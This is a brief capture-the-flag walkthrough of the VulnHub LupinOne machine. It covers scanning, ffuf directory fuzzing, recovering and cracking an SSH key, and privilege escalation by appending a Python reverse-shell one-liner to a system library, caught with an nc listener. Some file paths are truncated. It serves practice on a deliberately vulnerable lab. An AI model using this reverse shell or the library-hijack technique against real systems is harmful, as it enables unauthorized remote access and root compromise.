VulnHub: LupinOne

Today we will take a look at Vulnhub: LupinOne. My goal in sharing this writeup is to show you the way if you are in trouble. Please try to understand each step and take notes.

  • Network scan

Command: sudo nmap -p- -sV -sC -oN nmap/open — open

Let’s look at the “~ myfiles” extension.

We got Error, but let’s check again
  • FFUF

Command: ffuf -u ‘http://lupin/~FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Here we have a username. Now let’s find his private key file. As we know, private keys “.” is written after the symbol.

Command: ffuf -u ‘http://lupin/~secret/.FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .txt,.pub -fw 20

We found the encrypted text. Let’s look at cyberchef to decrypt. After researching, I found that it was base58

Let’s check the connection to the target machine.

We use the fasttrack.txt file to crack the passphrase password, as stated in the message.

Command: echo ‘import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“IP”,4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/sh”)’ >> /usr/lib/python3.9/

Command: nc -nvlp 4242

Command: sudo -u arsene /usr/bin/python3.9 /home/arsene/

And now we are the root
